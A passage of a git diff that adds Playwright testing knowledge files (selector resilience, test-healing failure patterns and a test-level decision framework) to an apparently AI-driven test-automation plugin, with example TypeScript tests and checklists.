+    await page.locator('[data-testid="user-row"]').filter({ hasText: 'john@example.com' }).click();
+  });
+
+  test('refactor: Complex XPath → ARIA role', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Before: Complex XPath (unreadable, brittle)
+    // await page.locator('xpath=//div[@id="payment"]//form//button[contains(@class, "submit")]').click()
+
+    // ✅ After: ARIA role
+    await page.getByRole('button', { name: 'Complete Payment' }).click();
+  });
+
+  test('refactor: ID selector → data-testid', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Before: HTML ID (changes with accessibility improvements)
+    // await page.locator('#user-profile-section').getByLabel('Name').fill('John')
+
+    // ✅ After: data-testid + semantic label
+    await page.getByTestId('user-profile-section').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('refactor: Deeply nested CSS → scoped data-testid', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Before: Deep nesting (breaks with structure changes)
+    // await page.locator('.container .sidebar .menu .item:nth-child(3) a').click()
+
+    // ✅ After: Scoped data-testid
+    const sidebar = page.getByTestId('sidebar');
+    await sidebar.getByRole('link', { name: 'Settings' }).click();
+  });
+});
+```
+
+**Key Points**:
+
+- CSS class → data-testid (survives design system updates)
+- nth() → filter() (content-based vs index-based)
+- Complex XPath → ARIA role (readable, semantic)
+- ID → data-testid (decouples from HTML structure)
+- Deep nesting → scoped locators (modular, maintainable)
+
+---
+
+### Example 3: Selector Best Practices Checklist
+
+```typescript
+// tests/selectors/validation-checklist.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Selector Validation Checklist
+ *
+ * Before committing test, verify selectors meet these criteria:
+ */
+test.describe('Selector Best Practices Validation', () => {
+  test('✅ 1. Prefer data-testid for interactive elements', async ({ page }) => {
+    await page.goto('/login');
+
+    // Interactive elements (buttons, inputs, links) should use data-testid
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('login-button').click();
+  });
+
+  test('✅ 2. Use ARIA roles for semantic elements', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Semantic elements (headings, navigation, forms) use ARIA
+    await expect(page.getByRole('heading', { name: 'Dashboard' })).toBeVisible();
+    await page.getByRole('navigation').getByRole('link', { name: 'Settings' }).click();
+  });
+
+  test('✅ 3. Avoid CSS classes (except when testing styles)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Never for interaction: page.locator('.btn-primary')
+    // ✅ Only for visual regression: await expect(page.locator('.error-banner')).toHaveCSS('color', 'rgb(255, 0, 0)')
+  });
+
+  test('✅ 4. Use filter() instead of nth() for lists', async ({ page }) => {
+    await page.goto('/orders');
+
+    // List selection should be content-based
+    await page.getByTestId('order-row').filter({ hasText: 'Order #12345' }).click();
+  });
+
+  test('✅ 5. Selectors are human-readable', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Clear intent
+    await page.getByTestId('shipping-address-form').getByLabel('Street Address').fill('123 Main St');
+
+    // ❌ Bad: Cryptic
+    // await page.locator('div > div:nth-child(2) > input[type="text"]').fill('123 Main St')
+  });
+});
+```
+
+**Validation Rules**:
+
+1. **Interactive elements** (buttons, inputs) → data-testid
+2. **Semantic elements** (headings, nav, forms) → ARIA roles
+3. **CSS classes** → Avoid (except visual regression tests)
+4. **Lists** → filter() over nth() (content-based selection)
+5. **Readability** → Selectors document user intent (clear, semantic)
+
+---
+
+## Selector Resilience Checklist
+
+Before deploying selectors:
+
+- [ ] **Hierarchy followed**: data-testid (1st choice) > ARIA (2nd) > text (3rd) > CSS/ID (last resort)
+- [ ] **Interactive elements use data-testid**: Buttons, inputs, links have dedicated test attributes
+- [ ] **Semantic elements use ARIA**: Headings, navigation, forms use roles and accessible names
+- [ ] **No brittle patterns**: No CSS classes (except visual tests), no arbitrary nth(), no complex XPath
+- [ ] **Dynamic content handled**: Regex for IDs/timestamps, filter() for lists, partial matching for text
+- [ ] **Selectors are scoped**: Use container locators to narrow scope (prevent ambiguity)
+- [ ] **Human-readable**: Selectors document user intent (clear, semantic, maintainable)
+- [ ] **Validated in Inspector**: Test selectors interactively before committing (page.pause())
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (generate tests with robust selectors), `*automate` (healing selector failures), `*test-review` (validate selector quality)
+- **Related fragments**: `test-healing-patterns.md` (selector failure diagnosis), `fixture-architecture.md` (page object alternatives), `test-quality.md` (maintainability standards)
+- **Tools**: Playwright Inspector (Pick Locator), DevTools console, Playwright MCP browser_generate_locator (optional)
+
+_Source: Playwright selector best practices, accessibility guidelines (ARIA), production test maintenance patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-healing-patterns.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-healing-patterns.md
new file mode 100644
index 0000000..ce2676d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-healing-patterns.md
@@ -0,0 +1,644 @@
+# Test Healing Patterns
+
+## Principle
+
+Common test failures follow predictable patterns (stale selectors, race conditions, dynamic data assertions, network errors, hard waits). **Automated healing** identifies failure signatures and applies pattern-based fixes. Manual healing captures these patterns for future automation.
+
+## Rationale
+
+**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites.
+
+**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application.
+
+**Why This Matters**:
+
+- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual debugging)
+- Prevents flakiness regression (same bug fixed once, applied everywhere)
+- Builds institutional knowledge (failure catalog grows over time)
+- Enables self-healing test suites (automate workflow validates and heals)
+
+## Pattern Examples
+
+### Example 1: Common Failure Pattern - Stale Selectors (Element Not Found)
+
+**Context**: Test fails with "Element not found" or "Locator resolved to 0 elements" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/selector-healing.ts
+
+export type SelectorFailure = {
+  errorMessage: string;
+  stackTrace: string;
+  selector: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect stale selector failures
+ */
+export function isSelectorFailure(error: Error): boolean {
+  const patterns = [
+    /locator.*resolved to 0 elements/i,
+    /element not found/i,
+    /waiting for locator.*to be visible/i,
+    /selector.*did not match any elements/i,
+    /unable to find element/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Extract selector from error message
+ */
+export function extractSelector(errorMessage: string): string | null {
+  // Playwright: "locator('button[type=\"submit\"]') resolved to 0 elements"
+  const playwrightMatch = errorMessage.match(/locator\('([^']+)'\)/);
+  if (playwrightMatch) return playwrightMatch[1];
+
+  // Cypress: "Timed out retrying: Expected to find element: '.submit-button'"
+  const cypressMatch = errorMessage.match(/Expected to find element: ['"]([^'"]+)['"]/i);
+  if (cypressMatch) return cypressMatch[1];
+
+  return null;
+}
+
+/**
+ * Suggest better selector based on hierarchy
+ */
+export function suggestBetterSelector(badSelector: string): string {
+  // If using CSS class → suggest data-testid
+  if (badSelector.startsWith('.') || badSelector.includes('class=')) {
+    const elementName = badSelector.match(/class=["']([^"']+)["']/)?.[1] || badSelector.slice(1);
+    return `page.getByTestId('${elementName}') // Prefer data-testid over CSS class`;
+  }
+
+  // If using ID → suggest data-testid
+  if (badSelector.startsWith('#')) {
+    return `page.getByTestId('${badSelector.slice(1)}') // Prefer data-testid over ID`;
+  }
+
+  // If using nth() → suggest filter() or more specific selector
+  if (badSelector.includes('.nth(')) {
+    return `page.locator('${badSelector.split('.nth(')[0]}').filter({ hasText: 'specific text' }) // Avoid brittle nth(), use filter()`;
+  }
+
+  // If using complex CSS → suggest ARIA role
+  if (badSelector.includes('>') || badSelector.includes('+')) {
+    return `page.getByRole('button', { name: 'Submit' }) // Prefer ARIA roles over complex CSS`;
+  }
+
+  return `page.getByTestId('...') // Add data-testid attribute to element`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/selector-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isSelectorFailure, extractSelector, suggestBetterSelector } from '../../src/testing/healing/selector-healing';
+
+test('heal stale selector failures automatically', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  try {
+    // Original test with brittle CSS selector
+    await page.locator('.btn-primary').click();
+  } catch (error: any) {
+    if (isSelectorFailure(error)) {
+      const badSelector = extractSelector(error.message);
+      const suggestion = badSelector ? suggestBetterSelector(badSelector) : null;
+
+      console.log('HEALING SUGGESTION:', suggestion);
+
+      // Apply healed selector
+      await page.getByTestId('submit-button').click(); // Fixed!
+    } else {
+      throw error; // Not a selector issue, rethrow
+    }
+  }
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "locator resolved to 0 elements" or "element not found"
+- Fix: Replace brittle selector (CSS class, ID, nth) with robust alternative (data-testid, ARIA role)
+- Prevention: Follow selector hierarchy (data-testid > ARIA > text > CSS)
+- Automation: Pattern matching on error message + stack trace
+
+---
+
+### Example 2: Common Failure Pattern - Race Conditions (Timing Errors)
+
+**Context**: Test fails with "timeout waiting for element" or "element not visible" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/timing-healing.ts
+
+export type TimingFailure = {
+  errorMessage: string;
+  testFile: string;
+  lineNumber: number;
+  actionType: 'click' | 'fill' | 'waitFor' | 'expect';
+};
+
+/**
+ * Detect race condition failures
+ */
+export function isTimingFailure(error: Error): boolean {
+  const patterns = [
+    /timeout.*waiting for/i,
+    /element is not visible/i,
+    /element is not attached to the dom/i,
+    /waiting for element to be visible.*exceeded/i,
+    /timed out retrying/i,
+    /waitForLoadState.*timeout/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Detect hard wait anti-pattern
+ */
+export function hasHardWait(testCode: string): boolean {
+  const hardWaitPatterns = [/page\.waitForTimeout\(/, /cy\.wait\(\d+\)/, /await.*sleep\(/, /setTimeout\(/];
+
+  return hardWaitPatterns.some((pattern) => pattern.test(testCode));
+}
+
+/**
+ * Suggest deterministic wait replacement
+ */
+export function suggestDeterministicWait(testCode: string): string {
+  if (testCode.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// await page.waitForTimeout(3000)
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/data') && resp.status() === 200)
+
+// OR wait for element state
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+    `.trim();
+  }
+
+  if (testCode.includes('cy.wait(') && /cy\.wait\(\d+\)/.test(testCode)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// cy.wait(3000)
+
+// ✅ Good: Wait for aliased network request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData')
+    `.trim();
+  }
+
+  return `
+// Add network-first interception BEFORE navigation:
+await page.route('**/api/**', route => route.continue())
+const responsePromise = page.waitForResponse('**/api/data')
+await page.goto('/page')
+await responsePromise
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/timing-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isTimingFailure, hasHardWait, suggestDeterministicWait } from '../../src/testing/healing/timing-healing';
+
+test('heal race condition with network-first pattern', async ({ page, context }) => {
+  // Setup interception BEFORE navigation (prevent race)
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify({ products: [{ id: 1, name: 'Product A' }] }),
+    });
+  });
+
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+  await responsePromise; // Deterministic wait
+
+  // Element now reliably visible (no race condition)
+  await expect(page.getByText('Product A')).toBeVisible();
+});
+
+test('heal hard wait with event-based wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // Element now reliably visible
+  await expect(page.getByText('Dashboard loaded')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error contains "timeout" or "not visible", often after navigation
+- Fix: Replace hard waits with network-first pattern or element state waits
+- Prevention: ALWAYS intercept before navigate, use waitForResponse()
+- Automation: Detect `page.waitForTimeout()` or `cy.wait(number)` in test code
+
+---
+
+### Example 3: Common Failure Pattern - Dynamic Data Assertions (Non-Deterministic IDs)
+
+**Context**: Test fails with "Expected 'User 123' but received 'User 456'" or timestamp mismatches
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/data-healing.ts
+
+export type DataFailure = {
+  errorMessage: string;
+  expectedValue: string;
+  actualValue: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect dynamic data assertion failures
+ */
+export function isDynamicDataFailure(error: Error): boolean {
+  const patterns = [
+    /expected.*\d+.*received.*\d+/i, // ID mismatches
+    /expected.*\d{4}-\d{2}-\d{2}.*received/i, // Date mismatches
+    /expected.*user.*\d+/i, // Dynamic user IDs
+    /expected.*order.*\d+/i, // Dynamic order IDs
+    /expected.*to.*contain.*\d+/i, // Numeric assertions
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest flexible assertion pattern
+ */
+export function suggestFlexibleAssertion(errorMessage: string): string {
+  if (/expected.*user.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded ID
+// await expect(page.getByText('User 123')).toBeVisible()
+
+// ✅ Good: Regex pattern for any user ID
+await expect(page.getByText(/User \\d+/)).toBeVisible()
+
+// OR use partial match
+await expect(page.locator('[data-testid="user-name"]')).toContainText('User')
+    `.trim();
+  }
+
+  if (/expected.*\d{4}-\d{2}-\d{2}/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded date
+// await expect(page.getByText('2024-01-15')).toBeVisible()
+
+// ✅ Good: Dynamic date validation
+const today = new Date().toISOString().split('T')[0]
+await expect(page.getByTestId('created-date')).toHaveText(today)
+
+// OR use date format regex
+await expect(page.getByTestId('created-date')).toHaveText(/\\d{4}-\\d{2}-\\d{2}/)
+    `.trim();
+  }
+
+  if (/expected.*order.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded order ID
+// const orderId = '12345'
+
+// ✅ Good: Capture dynamic order ID
+const orderText = await page.getByTestId('order-id').textContent()
+const orderId = orderText?.match(/Order #(\\d+)/)?.[1]
+expect(orderId).toBeTruthy()
+
+// Use captured ID in later assertions
+await expect(page.getByText(\`Order #\${orderId} confirmed\`)).toBeVisible()
+    `.trim();
+  }
+
+  return `Use regex patterns, partial matching, or capture dynamic values instead of hardcoding`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/data-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal dynamic ID assertion with regex', async ({ page }) => {
+  await page.goto('/users');
+
+  // ❌ Original (fails with random IDs): await expect(page.getByText('User 123')).toBeVisible()
+
+  // ✅ Healed: Regex pattern matches any user ID
+  await expect(page.getByText(/User \d+/)).toBeVisible();
+});
+
+test('heal timestamp assertion with dynamic generation', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (fails daily): await expect(page.getByText('2024-01-15')).toBeVisible()
+
+  // ✅ Healed: Generate expected date dynamically
+  const today = new Date().toISOString().split('T')[0];
+  await expect(page.getByTestId('last-updated')).toContainText(today);
+});
+
+test('heal order ID assertion with capture', async ({ page, request }) => {
+  // Create order via API (dynamic ID)
+  const response = await request.post('/api/orders', {
+    data: { productId: '123', quantity: 1 },
+  });
+  const { orderId } = await response.json();
+
+  // ✅ Healed: Use captured dynamic ID
+  await page.goto(`/orders/${orderId}`);
+  await expect(page.getByText(`Order #${orderId}`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message shows expected vs actual value mismatch with IDs/timestamps
+- Fix: Use regex patterns (`/User \d+/`), partial matching, or capture dynamic values
+- Prevention: Never hardcode IDs, timestamps, or random data in assertions
+- Automation: Parse error message for expected/actual values, suggest regex patterns
+
+---
+
+### Example 4: Common Failure Pattern - Network Errors (Missing Route Interception)
+
+**Context**: Test fails with "API call failed" or "500 error" during test execution
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/network-healing.ts
+
+export type NetworkFailure = {
+  errorMessage: string;
+  url: string;
+  statusCode: number;
+  method: string;
+};
+
+/**
+ * Detect network failure
+ */
+export function isNetworkFailure(error: Error): boolean {
+  const patterns = [
+    /api.*call.*failed/i,
+    /request.*failed/i,
+    /network.*error/i,
+    /500.*internal server error/i,
+    /503.*service unavailable/i,
+    /fetch.*failed/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest route interception
+ */
+export function suggestRouteInterception(url: string, method: string): string {
+  return `
+// ❌ Bad: Real API call (unreliable, slow, external dependency)
+
+// ✅ Good: Mock API response with route interception
+await page.route('${url}', route => {
+  route.fulfill({
+    status: 200,
+    contentType: 'application/json',
+    body: JSON.stringify({
+      // Mock response data
+      id: 1,
+      name: 'Test User',
+      email: 'test@example.com'
+    })
+  })
+})
+
+// Then perform action
+await page.goto('/page')
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/network-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal network failure with route mocking', async ({ page, context }) => {
+  // ✅ Healed: Mock API to prevent real network calls
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        products: [
+          { id: 1, name: 'Product A', price: 29.99 },
+          { id: 2, name: 'Product B', price: 49.99 },
+        ],
+      }),
+    });
+  });
+
+  await page.goto('/products');
+
+  // Test now reliable (no external API dependency)
+  await expect(page.getByText('Product A')).toBeVisible();
+  await expect(page.getByText('$29.99')).toBeVisible();
+});
+
+test('heal 500 error with error state mocking', async ({ page, context }) => {
+  // Mock API failure scenario
+  await context.route('**/api/products', (route) => {
+    route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+  });
+
+  await page.goto('/products');
+
+  // Verify error handling (not crash)
+  await expect(page.getByText('Unable to load products')).toBeVisible();
+  await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "API call failed", "500 error", or network-related failures
+- Fix: Add `page.route()` or `cy.intercept()` to mock API responses
+- Prevention: Mock ALL external dependencies (APIs, third-party services)
+- Automation: Extract URL from error message, generate route interception code
+
+---
+
+### Example 5: Common Failure Pattern - Hard Waits (Unreliable Timing)
+
+**Context**: Test fails intermittently with "timeout exceeded" or passes/fails randomly
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/hard-wait-healing.ts
+
+/**
+ * Detect hard wait anti-pattern in test code
+ */
+export function detectHardWaits(testCode: string): Array<{ line: number; code: string }> {
+  const lines = testCode.split('\n');
+  const violations: Array<{ line: number; code: string }> = [];
+
+  lines.forEach((line, index) => {
+    if (line.includes('page.waitForTimeout(') || /cy\.wait\(\d+\)/.test(line) || line.includes('sleep(') || line.includes('setTimeout(')) {
+      violations.push({ line: index + 1, code: line.trim() });
+    }
+  });
+
+  return violations;
+}
+
+/**
+ * Suggest event-based wait replacement
+ */
+export function suggestEventBasedWait(hardWaitLine: string): string {
+  if (hardWaitLine.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/') && resp.ok())
+
+// OR wait for element state change
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+await page.getByTestId('content').waitFor({ state: 'visible' })
+    `.trim();
+  }
+
+  if (/cy\.wait\(\d+\)/.test(hardWaitLine)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for aliased request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData') // Deterministic
+    `.trim();
+  }
+
+  return 'Replace hard waits with event-based waits (waitForResponse, waitFor state changes)';
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/hard-wait-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal hard wait with deterministic wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for loading spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // OR wait for specific network response
+  await page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.ok());
+
+  await expect(page.getByText('Dashboard ready')).toBeVisible();
+});
+
+test('heal implicit wait with explicit network wait', async ({ page }) => {
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+
+  // ❌ Original (race condition): await page.getByText('Product A').click()
+
+  // ✅ Healed: Wait for network first
+  await responsePromise;
+  await page.getByText('Product A').click();
+
+  await expect(page).toHaveURL(/\/products\/\d+/);
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Test code contains `page.waitForTimeout()` or `cy.wait(number)`
+- Fix: Replace with `waitForResponse()`, `waitFor({ state })`, or aliased intercepts
+- Prevention: NEVER use hard waits, always use event-based/response-based waits
+- Automation: Scan test code for hard wait patterns, suggest deterministic replacements
+
+---
+
+## Healing Pattern Catalog
+
+| Failure Type   | Diagnostic Signature                          | Healing Strategy                      | Prevention Pattern                        |
+| -------------- | --------------------------------------------- | ------------------------------------- | ----------------------------------------- |
+| Stale Selector | "locator resolved to 0 elements"              | Replace with data-testid or ARIA role | Selector hierarchy (testid > ARIA > text) |
+| Race Condition | "timeout waiting for element"                 | Add network-first interception        | Intercept before navigate                 |
+| Dynamic Data   | "Expected 'User 123' but got 'User 456'"      | Use regex or capture dynamic values   | Never hardcode IDs/timestamps             |
+| Network Error  | "API call failed", "500 error"                | Add route mocking                     | Mock all external dependencies            |
+| Hard Wait      | Test contains `waitForTimeout()` or `wait(n)` | Replace with event-based waits        | Always use deterministic waits            |
+
+## Healing Workflow
+
+1. **Run test** → Capture failure
+2. **Identify pattern** → Match error against diagnostic signatures
+3. **Apply fix** → Use pattern-based healing strategy
+4. **Re-run test** → Validate fix (max 3 iterations)
+5. **Mark unfixable** → Use `test.fixme()` if healing fails after 3 attempts
+
+## Healing Checklist
+
+Before enabling auto-healing in workflows:
+
+- [ ] **Failure catalog documented**: Common patterns identified (selectors, timing, data, network, hard waits)
+- [ ] **Diagnostic signatures defined**: Error message patterns for each failure type
+- [ ] **Healing strategies documented**: Fix patterns for each failure type
+- [ ] **Prevention patterns documented**: Best practices to avoid recurrence
+- [ ] **Healing iteration limit set**: Max 3 attempts before marking test.fixme()
+- [ ] **MCP integration optional**: Graceful degradation without Playwright MCP
+- [ ] **Pattern-based fallback**: Use knowledge base patterns when MCP unavailable
+- [ ] **Healing report generated**: Document what was healed and how
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (auto-healing after test generation), `*atdd` (optional healing for acceptance tests)
+- **Related fragments**: `selector-resilience.md` (selector debugging), `timing-debugging.md` (race condition fixes), `network-first.md` (interception patterns), `data-factories.md` (dynamic data handling)
+- **Tools**: Error message parsing, AST analysis for code patterns, Playwright MCP (optional), pattern matching
+
+_Source: Playwright test-healer patterns, production test failure analysis, common anti-patterns from test-resources-for-ai_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-levels-framework.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-levels-framework.md
new file mode 100644
index 0000000..ed3418a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-levels-framework.md
@@ -0,0 +1,473 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Levels Framework
+
+Comprehensive guide for determining appropriate test levels (unit, integration, E2E) for different scenarios.
+
+## Test Level Decision Matrix
+
+### Unit Tests
+
+**When to use:**
+
+- Testing pure functions and business logic
+- Algorithm correctness
+- Input validation and data transformation
+- Error handling in isolated components
+- Complex calculations or state machines
+
+**Characteristics:**
+
+- Fast execution (immediate feedback)
+- No external dependencies (DB, API, file system)
+- Highly maintainable and stable
+- Easy to debug failures
+
+**Example scenarios:**
+
+```yaml
+unit_test:
+  component: 'PriceCalculator'
+  scenario: 'Calculate discount with multiple rules'
+  justification: 'Complex business logic with multiple branches'
+  mock_requirements: 'None - pure function'
+```
+
+### Integration Tests
+
+**When to use:**
+
+- Component interaction verification
+- Database operations and transactions
+- API endpoint contracts
+- Service-to-service communication
+- Middleware and interceptor behavior
+
+**Characteristics:**
+
+- Moderate execution time
+- Tests component boundaries
+- May use test databases or containers
+- Validates system integration points
+
+**Example scenarios:**
+
+```yaml
+integration_test:
+  components: ['UserService', 'AuthRepository']
+  scenario: 'Create user with role assignment'
+  justification: 'Critical data flow between service and persistence'
+  test_environment: 'In-memory database'
+```
+
+### End-to-End Tests
+
+**When to use:**
+
+- Critical user journeys
+- Cross-system workflows
+- Visual regression testing
+- Compliance and regulatory requirements
+- Final validation before release
+
+**Characteristics:**
+
+- Slower execution
+- Tests complete workflows
+- Requires full environment setup
+- Most realistic but most brittle
+
+**Example scenarios:**
+
+```yaml
+e2e_test:
+  journey: 'Complete checkout process'
+  scenario: 'User purchases with saved payment method'
+  justification: 'Revenue-critical path requiring full validation'
+  environment: 'Staging with test payment gateway'
+```
+
+## Test Level Selection Rules
+
+### Favor Unit Tests When:
+
+- Logic can be isolated
+- No side effects involved
+- Fast feedback needed
+- High cyclomatic complexity
+
+### Favor Integration Tests When:
+
+- Testing persistence layer
+- Validating service contracts
+- Testing middleware/interceptors
+- Component boundaries critical
+
+### Favor E2E Tests When:
+
+- User-facing critical paths
+- Multi-system interactions
+- Regulatory compliance scenarios
+- Visual regression important
+
+## Anti-patterns to Avoid
+
+- E2E testing for business logic validation
+- Unit testing framework behavior
+- Integration testing third-party libraries
+- Duplicate coverage across levels
+
+## Duplicate Coverage Guard
+
+**Before adding any test, check:**
+
+1. Is this already tested at a lower level?
+2. Can a unit test cover this instead of integration?
+3. Can an integration test cover this instead of E2E?
+
+**Coverage overlap is only acceptable when:**
+
+- Testing different aspects (unit: logic, integration: interaction, e2e: user experience)
+- Critical paths requiring defense in depth
+- Regression prevention for previously broken functionality
+
+## Test Naming Conventions
+
+- Unit: `test_{component}_{scenario}`
+- Integration: `test_{flow}_{interaction}`
+- E2E: `test_{journey}_{outcome}`
+
+## Test ID Format
+
+`{EPIC}.{STORY}-{LEVEL}-{SEQ}`
+
+Examples:
+
+- `1.3-UNIT-001`
+- `1.3-INT-002`
+- `1.3-E2E-001`
+
+## Real Code Examples
+
+### Example 1: E2E Test (Full User Journey)
+
+**Scenario**: User logs in, navigates to dashboard, and places an order.
+
+```typescript
+// tests/e2e/checkout-flow.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser, createProduct } from '../test-utils/factories';
+
+test.describe('Checkout Flow', () => {
+  test('user can complete purchase with saved payment method', async ({ page, apiRequest }) => {
+    // Setup: Seed data via API (fast!)
+    const user = createUser({ email: 'buyer@example.com', hasSavedCard: true });
+    const product = createProduct({ name: 'Widget', price: 29.99, stock: 10 });
+
+    await apiRequest.post('/api/users', { data: user });
+    await apiRequest.post('/api/products', { data: product });
+
+    // Network-first: Intercept BEFORE action
+    const loginPromise = page.waitForResponse('**/api/auth/login');
+    const cartPromise = page.waitForResponse('**/api/cart');
+    const orderPromise = page.waitForResponse('**/api/orders');
+
+    // Step 1: Login
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', user.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login-button"]');
+    await loginPromise;
+
+    // Assert: Dashboard visible
+    await expect(page).toHaveURL('/dashboard');
+    await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+
+    // Step 2: Add product to cart
+    await page.goto(`/products/${product.id}`);
+    await page.click('[data-testid="add-to-cart"]');
+    await cartPromise;
+    await expect(page.getByText('Added to cart')).toBeVisible();
+
+    // Step 3: Checkout with saved payment
+    await page.goto('/checkout');
+    await expect(page.getByText('Visa ending in 1234')).toBeVisible(); // Saved card
+    await page.click('[data-testid="use-saved-card"]');
+    await page.click('[data-testid="place-order"]');
+    await orderPromise;
+
+    // Assert: Order confirmation
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+    await expect(page.getByText(/Order #\d+/)).toBeVisible();
+    await expect(page.getByText('$29.99')).toBeVisible();
+  });
+});
+```
+
+**Key Points (E2E)**:
+
+- Tests complete user journey across multiple pages
+- API setup for data (fast), UI for assertions (user-centric)
+- Network-first interception to prevent flakiness
+- Validates critical revenue path end-to-end
+
+### Example 2: Integration Test (API/Service Layer)
+
+**Scenario**: UserService creates user and assigns role via AuthRepository.
+
+```typescript
+// tests/integration/user-service.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser } from '../test-utils/factories';
+
+test.describe('UserService Integration', () => {
+  test('should create user with admin role via API', async ({ request }) => {
+    const userData = createUser({ role: 'admin' });
+
+    // Direct API call (no UI)
+    const response = await request.post('/api/users', {
+      data: userData,
+    });
+
+    expect(response.status()).toBe(201);
+
+    const createdUser = await response.json();
+    expect(createdUser.id).toBeTruthy();
+    expect(createdUser.email).toBe(userData.email);
+    expect(createdUser.role).toBe('admin');
+
+    // Verify database state
+    const getResponse = await request.get(`/api/users/${createdUser.id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const fetchedUser = await getResponse.json();
+    expect(fetchedUser.role).toBe('admin');
+    expect(fetchedUser.permissions).toContain('user:delete');
+    expect(fetchedUser.permissions).toContain('user:update');
+
+    // Cleanup
